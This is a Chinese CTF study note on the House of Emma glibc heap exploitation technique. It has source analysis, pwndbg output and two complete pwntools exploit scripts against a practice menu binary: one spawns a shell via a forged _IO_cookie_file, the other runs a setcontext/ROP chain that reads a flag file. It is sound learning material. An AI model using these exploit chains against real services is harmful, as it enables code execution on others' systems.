【我的 PWN 学习手札】House of Emma
House of Emma
参考文献
第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全KER - 安全资讯平台
文章 - house of emma 心得体会 - 先知社区
前一篇博客【我的 PWN 学习手札】House of Kiwi-CSDN博客的利用手法有两个关键点,其一是利用__malloc_assert
进入IO
链,其二是劫持全局的_IO_file_jumps_
指针。然而当遇到_IO_file_jumps_
不可写的时候,House of Kiwi
这种方法失效。高版本的libc
取消了__malloc_hook
和__free_hook
等hook
,因此在Kiwi
失效的情况下,寻找其他合法的vtable
表,即在__start___libc_IO_vtables - __stop___libc_IO_vtables
之间的表,看能否被我们利用。
House of Emma
主要就是找到了一条利用虚表的链子,通过借助_IO_cookie_jumps
中的函数指针来实现类似劫持Hook
从而控制程序执行流的效果。
一、源码分析
libio/iofopncook.c
中定义了满足vtable
合法性要求的表_IO_cookie_jumps
,在__start___libc_IO_vtables - __stop___libc_IO_vtables
之间
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_file_finish),JUMP_INIT(overflow, _IO_file_overflow),JUMP_INIT(underflow, _IO_file_underflow),JUMP_INIT(uflow, _IO_default_uflow),JUMP_INIT(pbackfail, _IO_default_pbackfail),JUMP_INIT(xsputn, _IO_file_xsputn),JUMP_INIT(xsgetn, _IO_default_xsgetn),JUMP_INIT(seekoff, _IO_cookie_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_file_setbuf),JUMP_INIT(sync, _IO_file_sync),JUMP_INIT(doallocate, _IO_file_doallocate),JUMP_INIT(read, _IO_cookie_read),JUMP_INIT(write, _IO_cookie_write),JUMP_INIT(seek, _IO_cookie_seek),JUMP_INIT(close, _IO_cookie_close),JUMP_INIT(stat, _IO_default_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue),
};
表内的
_IO_cookie_read
_IO_cookie_write
_IO_cookie_seek
_IO_cookie_close
这几个函数的实现,更具体来说是先提取虚表上的函数指针与参数,然后调用对应函数指针来实现的:
libio/iofopncook.c
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (read_cb);
#endifif (read_cb == NULL)return -1;return read_cb (cfile->__cookie, buf, size);
}static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (write_cb);
#endifif (write_cb == NULL){fp->_flags |= _IO_ERR_SEEN;return 0;}ssize_t n = write_cb (cfile->__cookie, buf, size);if (n < size)fp->_flags |= _IO_ERR_SEEN;return n;
}static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (seek_cb);
#endifreturn ((seek_cb == NULL|| (seek_cb (cfile->__cookie, &offset, dir)== -1)|| offset == (off64_t) -1)? _IO_pos_BAD : offset);
}static int
_IO_cookie_close (FILE *fp)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (close_cb);
#endifif (close_cb == NULL)return 0;return close_cb (cfile->__cookie);
}
以_IO_cookie_read
为例,将(FILE *)
的fp
转换为struct _IO_cookie_file
,然后从虚表中提取出cookie_read_function_t *read_cb
函数指针,将__cookie
成员作为其中一个参数进行调用。
/* Special file type for fopencookie function. */
struct _IO_cookie_file
{struct _IO_FILE_plus __fp;void *__cookie;cookie_io_functions_t __io_functions;
};
可以看到,_IO_cookie_file
的结构由来,依旧是采用类似继承的方式,通过扩展_IO_FILE_plus
类型,添加__cookie
和__io_functions
成员,即参数和虚表。在libio/bits/types/cookie_io_functions_t.h
可以看到对结构体中虚表的声明:
/* The structure with the cookie function pointers.The tag name of this struct is _IO_cookie_io_functions_t topreserve historic C++ mangled names for functions takingcookie_io_functions_t arguments. That name should not be used innew code. */
typedef struct _IO_cookie_io_functions_t
{cookie_read_function_t *read; /* Read bytes. */cookie_write_function_t *write; /* Write bytes. */cookie_seek_function_t *seek; /* Seek/tell file position. */cookie_close_function_t *close; /* Close file. */
} cookie_io_functions_t;
对于虚表的利用,类似于hook
,我们可以劫持这些虚表指针,劫持参数,实现程序执行流的劫持。
然而glibc
设计者也不是吃素的,对于这些虚表指针,是经过加密保护的:
#ifdef PTR_DEMANGLEPTR_DEMANGLE (write_cb);
#endif
由于搜出来该宏定义的位置比较多,这里通过调试来确认加解密过程。定位到_IO_cookie_write
函数汇编代码,看看函数指针在调用前是如何进行解密的。
pwndbg> x/20i _IO_cookie_write 0x7ffff7c78800 <_IO_cookie_write>: endbr64 0x7ffff7c78804 <_IO_cookie_write+4>: push rbp0x7ffff7c78805 <_IO_cookie_write+5>: push rbx0x7ffff7c78806 <_IO_cookie_write+6>: mov rbx,rdi0x7ffff7c78809 <_IO_cookie_write+9>: sub rsp,0x80x7ffff7c7880d <_IO_cookie_write+13>: mov rax,QWORD PTR [rdi+0xf0]0x7ffff7c78814 <_IO_cookie_write+20>: ror rax,0x110x7ffff7c78818 <_IO_cookie_write+24>: xor rax,QWORD PTR fs:0x300x7ffff7c78821 <_IO_cookie_write+33>: test rax,rax0x7ffff7c78824 <_IO_cookie_write+36>: je 0x7ffff7c78837 <_IO_cookie_write+55>0x7ffff7c78826 <_IO_cookie_write+38>: mov rbp,rdx0x7ffff7c78829 <_IO_cookie_write+41>: mov rdi,QWORD PTR [rdi+0xe0]0x7ffff7c78830 <_IO_cookie_write+48>: call rax0x7ffff7c78832 <_IO_cookie_write+50>: cmp rbp,rax0x7ffff7c78835 <_IO_cookie_write+53>: jle 0x7ffff7c7883a <_IO_cookie_write+58>0x7ffff7c78837 <_IO_cookie_write+55>: or DWORD PTR [rbx],0x200x7ffff7c7883a <_IO_cookie_write+58>: add rsp,0x80x7ffff7c7883e <_IO_cookie_write+62>: pop rbx0x7ffff7c7883f <_IO_cookie_write+63>: pop rbp0x7ffff7c78840 <_IO_cookie_write+64>: ret
pwndbg> tls
tls : 0x7ffff7fbb740
pwndbg> tele 0x7ffff7fbb740+0x30
00:0000│ 0x7ffff7fbb770 ◂— 0xe90cc09eeee59ad5
01:0008│ 0x7ffff7fbb778 ◂— 0
... ↓ 6 skipped
pwndbg>
可以看到加密的函数指针存在rax
寄存器中,通过ror(Rotate Right)
循环右移11
位,然后和fs:0x30
位置的数据进行xor
异或,就得到了真正的函数指针。在x86-64linux
中使用fs
段寄存器来指向线程本地存储,也即tls
。上述调试信息打印出来了用于异或的数值。
二、House of Emma利用手法
基于上述源码分析结果,我们可以大致明确我们的目标就是设法劫持_IO_cookie_jumps
,调用相关被劫持函数指针从而劫持程序执行流实现利用。
- 泄露
libc
、heap
基址 largebin attack
写stderr
指针- 第二次
largebin attack
写fs:0x30
的guard
- 修复
largebin
并申请出堆块 - 如果打
ROP
,则在其他堆块上布置好ROP
链 - 在申请的堆块上伪造
_IO_cookie_file
类型结构体,设置好vtable
指针指向_IO_cookie_jumps
的合适偏移,设置好_cookie
和__io_functions
的函数指针 - 通过
House of Kiwi
链子__malloc_assert
或其他方式触发IO
,触发程序流劫持
以pwn.c
模板为例
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>char *chunk_list[0x100];#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);while (1) {menu();int choice = get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:_exit(0);default:puts("invalid choice.");}}
}
首先泄露libc
和heap
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00'))-0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0,0x418)
第一次largebin attack
篡改stderr
指针
# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0,0x408)
第二次largebin attack
修改tls
附近的guard
# hijack guard
edit(2,p64(0)*3+p64(guard-0x20))
delete(0)
add(0,0x3f8)
然后修复并申请出堆heap_base+0x6d0
的堆块
# fix & malloc chunk
edit(2,p64(libc.sym['main_arena']+1104)*2+p64(file_addr)*2)
add(2,0x428)
将在申请出来的堆块上布置_IO_cookie_file
结构体,计算vtable
pwndbg> p &_IO_cookie_jumps.__write
$18 = (_IO_write_t *) 0x7ffff7df3b78 <_IO_cookie_jumps+120>
pwndbg> p &_IO_cookie_jumps
$19 = (const struct _IO_jump_t *) 0x7ffff7df3b00 <_IO_cookie_jumps>
pwndbg> p/x 0x7ffff7df3b78-0x7ffff7df3b00
$20 = 0x78
pwndbg> p &_IO_file_jumps.__xsputn
$21 = (_IO_xsputn_t *) 0x7ffff7df45b8 <__GI__IO_file_jumps+56>
pwndbg> p &_IO_file_jumps
$22 = (const struct _IO_jump_t *) 0x7ffff7df4580 <__GI__IO_file_jumps>
pwndbg> p/x 0x7ffff7df45b8-0x7ffff7df4580
$23 = 0x38
pwndbg> p/x 0x78-0x38
$24 = 0x40
布置结构体,先确保vtable
设置合理,能够触发目标函数,然后再填写_cookie
字段和__io_functions
字段
fake_file = b''
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00') # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps']+0x40) # fake vtableedit(2,fake_file)
可以看到,程序通过__malloc_assert
进入IO
,执行的函数已经被我们替换到_IO_cookie_write
► 0x7ffff7c6f055 <__vfprintf_internal+261> call qword ptr [rbx + 0x38] <__SI_IO_new_file_xsputn_12>rdi: 0x55555555c6d0 ◂— 0rsi: 0x7ffff7dba110 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"rdx: 0rcx: 0
----------------------------------------------------------------------------------------------------► 0x7ffff7c6f055 <__vfprintf_internal+261> call qword ptr [rbx + 0x38] <_IO_cookie_write>rdi: 0x55555555c6d0 ◂— 0rsi: 0x7ffff7dba110 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"rdx: 0
然后我们可以简单地设置函数指针为system
,参数设为字符串/bin/sh\x00
的指针
...
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # fake vtable
fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(0)
fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11)) #_IO_cookie_write
fake_file += p64(0)
fake_file += p64(0)
然后触发__malloc_assert
# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b __malloc_assert\n')
add(10, 0x500)
从而getshell
from pwn import *elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.osdef add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io = process("./pwn")add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0, 0x418)# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0, 0x408)# hijack guard
edit(2, p64(0) * 3 + p64(guard - 0x20))
delete(0)
add(0, 0x3f8)# fix & malloc chunk
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)payload_addr = heap_base +0x2a0fake_file = b''
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00') # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # fake vtable
fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(0)
fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11))
fake_file += p64(0)
fake_file += p64(0)
edit(2, fake_file)# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b _IO_cookie_write\nc')
add(10, 0x500)io.interactive()
如果要走ROP
,则可参照【我的 PWN 学习手札】新版本libc下的setcontext与平替gadget_setcontext pwn rdx-CSDN博客,稍微修改一下板子即可
from pwn import *elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.osdef add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io = process("./pwn")add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0, 0x418)# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0, 0x408)# hijack guard
edit(2, p64(0) * 3 + p64(guard - 0x20))
delete(0)
add(0, 0x3f8)# fix & malloc chunk
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)payload_addr = heap_base +0x2a0fake_file = b''
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00') # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # fake vtable
# fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(payload_addr)
fake_file += p64(0)gadget_addr=libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'),executable=True).__next__()
success(hex(gadget_addr))# fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11))fake_file += p64(rol(gadget_addr ^ file_addr, 0x11))
fake_file += p64(0)
fake_file += p64(0)
edit(2, fake_file)ROP_addr=payload_addr+0x8
flag_addr=payload_addr+0x100
frame_addr=payload_addr+0x150
buf_addr=payload_addr+0x200ROP_chain=b''
# read(3,buf,0x20)
ROP_chain+=p64(libc.search(asm('pop rdi;ret'),executable=True).__next__())
ROP_chain+=p64(3)
ROP_chain+=p64(libc.search(asm('pop rsi;ret'),executable=True).__next__())
ROP_chain+=p64(buf_addr)
ROP_chain+=p64(libc.search(asm('pop rdx ; pop rbx ; ret'),executable=True).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chain+=p64(0x20)
ROP_chain+=p64(0)
ROP_chain+=p64(libc.sym['read'])
# puts(buf) write(1,buf,0x20)
ROP_chain+=p64(libc.search(asm('pop rdi;ret'),executable=True).__next__())
ROP_chain+=p64(1)
ROP_chain+=p64(libc.search(asm('pop rsi;ret'),executable=True).__next__())
ROP_chain+=p64(buf_addr)
ROP_chain+=p64(libc.search(asm('pop rdx ; pop rbx ; ret'),executable=True).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chain+=p64(0x20)
ROP_chain+=p64(0)
ROP_chain+=p64(libc.sym['write'])payload=p64(0)
payload+=p64(frame_addr)
payload+=ROP_chain
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
payload=payload.ljust(0x150,b'\x00')frame=SigreturnFrame()
# open("./flag")
frame.rdi=flag_addr
frame.rip=libc.sym['open']
frame.rsp=payload_addr+0x10
frame=bytearray(frame.__bytes__())
frame[0x20:0x20+8]=p64(libc.sym['setcontext']+61)payload+=bytes(frame)
edit(0,payload)# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b _IO_cookie_write\nc')
add(10, 0x500)io.interactive()
相关文章:

【我的 PWN 学习手札】House of Emma
House of Emma 参考文献 第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全KER - 安全资讯平台 文章 - house of emma 心得体会 - 先知社区 前一篇博客【我的 PWN 学习手札】House of Kiwi-CSDN博客的利用手法有两个关键点,其一是利用__malloc_assert进入…...
4 Redis4 List命令类型讲解
Redis 列表(List)命令详解 1. Redis 列表(List)简介 Redis 列表(List)是一个简单的字符串列表,按照插入顺序排序。它可以用作 栈(Stack) 和 队列(Queue&…...

CentOS 7 安装 Redis6.2.6
获取资源、下载安装 Redis6.2.6 安装Redis6.2.6 上传到服务器或直接下载(wget http://download.redis.io/releases/redis-6.2.6.tar.gz)、再解压安装 tar -zxvf redis-6.2.6.tar.gz 进入redis解压目录 cd redis-6.2.6先编译 make再执行安装 make PREFI…...
数据库原理4
1.数据库中的数据通常可分为用户数据和系统数据两部分。用户数据是用户使用的数据;系统数据称为数据字典。 2.SQL语言的功能:数据查询;数据操纵;数据定义;数据操作;数据控制 3.对未提交更新的依赖&#x…...
doris: MySQL
Doris JDBC Catalog 支持通过标准 JDBC 接口连接 MySQL 数据库。本文档介绍如何配置 MySQL 数据库连接。 使用须知 要连接到 MySQL 数据库,您需要 MySQL 5.7, 8.0 或更高版本 MySQL 数据库的 JDBC 驱动程序,您可以从 Maven 仓库下载最新或指定版本的…...
Django模型数据删除:详解两种方式
Django模型数据删除:详解两种方式 在Django框架中,数据模型(Model)不仅定义了应用的数据结构,还提供了与数据库交互的接口,包括数据的删除操作。本文将详细介绍两种在Django中删除数据的方式:通…...
C++并发以及多线程的秘密
1.基础概念 并发(Concurrency) 并发是指在同一时间段内,多个任务看起来像是同时执行的。并发并不一定意味着真正的同时执行,它可以是通过时间片轮转等方式在多个任务之间快速切换,让用户感觉多个任务在同时进行。并发…...

自学微信小程序的第十二天
DAY12 1、腾讯地图SDK是一套为开发者提供多种地理位置服务的工具,可以使开发者在自己的应用中加入地图相关功能,轻松访问腾讯地图服务和数据,更好地实现微信小程序的地图功能。 表49:search()方法的常用选项 选项 类型 说明 keyword string POI搜索关键词,默认周边搜索 l…...
⭐算法OJ⭐跳跃游戏【贪心算法】(C++实现)Jump Game 系列 I,II
既股票买卖系列之后的第二组贪心算法题目:跳跃游戏系列。这一篇介绍的两个问题,其输入均为一个数组,每个元素表示在该位置可以跳跃的最大长度。 55. Jump Game You are given an integer array nums. You are initially positioned at the …...

带你从入门到精通——自然语言处理(五. Transformer中的自注意力机制和输入部分)
建议先阅读我之前的博客,掌握一定的自然语言处理前置知识后再阅读本文,链接如下: 带你从入门到精通——自然语言处理(一. 文本的基本预处理方法和张量表示)-CSDN博客 带你从入门到精通——自然语言处理(二…...

ubuntu挂载固态硬盘
Ubuntu 中挂载位于 /dev/sdc1 的固态硬盘,可以按照以下步骤操作: 步骤 1:确认分区信息 首先,确保设备 /dev/sdc1 存在且已正确分区: sudo fdisk -l /dev/sdc # 查看分区表 lsblk # 确认分区路…...

WPF+WebView 基础
1、基于.NET8,通过NuGet添加Microsoft.Web.WebView2。 2、MainWindow.xaml代码如下。 <Window x:Class"Demo.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/win…...

国内光子AI智能引擎:OptoChat AI在南京江北新区亮相
3月3日,从南京市投资促进局传来振奋人心的消息,南京江北新区的一家高科技企业——南京南智先进光电集成技术研究院有限公司(简称“南智光电”),携手南京知满科技等合作伙伴,成功研发出国内首个光子AI智能引…...

vscode离线配置远程服务器
目录 一、前提 二、方法 2.1 查看vscode的commit_id 2.2 下载linux服务器安装包 2.3 安装包上传到远程服务器,并进行文件解压缩 三、常见错误 Failed to set up socket for dynamic port forward to remote port(vscode报错解决方法)-C…...
【安装】SQL Server 2005 安装及安装包
安装包 SQLEXPR.EXE:SQL Server 服务SQLServer2005_SSMSEE.msi:数据库管理工具,可以创建数据库,执行脚本等。SQLServer2005_SSMSEE_x64.msi:同上。这个是 64 位操作系统。 下载地址 https://www.microsoft.com/zh-c…...

使用Maven搭建Spring Boot框架
文章目录 前言1.环境准备2.创建SpringBoot项目3.配置Maven3.1 pom.xml文件3.2 添加其他依赖 4. 编写代码4.1 启动类4.2 控制器4.3 配置文件 5.运行项目6.打包与部署6.1 打包6.2 运行JAR文件 7.总结 前言 Spring Boot 是一个用于快速构建 Spring 应用程序的框架,它简…...

将docker容器打包为.tar包
1. 创建打包脚本 #!/bin/bash # 设置 -e 使得脚本在遇到错误时停止执行 set -e# 必要的参数 exported_container_name"needed_export_container_name_or_id" # 需要被导出的容器的名称或id image_save_name"my_custom_image_name:v25.03.03" # 镜像需…...

SYSTEM文件夹下的文件
sys文件夹下的.c和.h文件里的函数 最重要的倒数第二个 deley文件夹下的.c和.h文件 Systick工作原理 系统滴答定时器是在内核里的 每来一个时钟信号,计数器减一 F1系列时钟源是HCLK(就是AHB总线上的时钟信号) Systick控制寄存器 Systick重装…...

GPPT: Graph Pre-training and Prompt Tuning to Generalize Graph Neural Networks
GPPT: Graph Pre-training and Prompt Tuning to Generalize Graph Neural Networks KDD22 推荐指数:#paper/⭐⭐# 动机 本文探讨了图神经网络(GNN)在迁移学习中“预训练-微调”框架的局限性及改进方向。现有方法通过预训练(…...

【SegRNN 源码理解】PMF的多步并行预测
位置编码 elif self.dec_way "pmf":if self.channel_id:# m,d//2 -> 1,m,d//2 -> c,m,d//2# c,d//2 -> c,1,d//2 -> c,m,d//2# c,m,d -> cm,1,d -> bcm, 1, dpos_emb torch.cat([self.pos_emb.unsqueeze(0).repeat(self.enc_in, 1, 1),self.cha…...
Linux链表操作全解析
Linux C语言链表深度解析与实战技巧 一、链表基础概念与内核链表优势1.1 为什么使用链表?1.2 Linux 内核链表与用户态链表的区别 二、内核链表结构与宏解析常用宏/函数 三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势5.1 插入效率5.2 安全…...

【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器
——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的一体化测试平台,覆盖应用全生命周期测试需求,主要提供五大核心能力: 测试类型检测目标关键指标功能体验基…...
可靠性+灵活性:电力载波技术在楼宇自控中的核心价值
可靠性灵活性:电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中,电力载波技术(PLC)凭借其独特的优势,正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据,无需额外布…...

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility
Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...

第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明
AI 领域的快速发展正在催生一个新时代,智能代理(agents)不再是孤立的个体,而是能够像一个数字团队一样协作。然而,当前 AI 生态系统的碎片化阻碍了这一愿景的实现,导致了“AI 巴别塔问题”——不同代理之间…...

Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...
Matlab | matlab常用命令总结
常用命令 一、 基础操作与环境二、 矩阵与数组操作(核心)三、 绘图与可视化四、 编程与控制流五、 符号计算 (Symbolic Math Toolbox)六、 文件与数据 I/O七、 常用函数类别重要提示这是一份 MATLAB 常用命令和功能的总结,涵盖了基础操作、矩阵运算、绘图、编程和文件处理等…...
【生成模型】视频生成论文调研
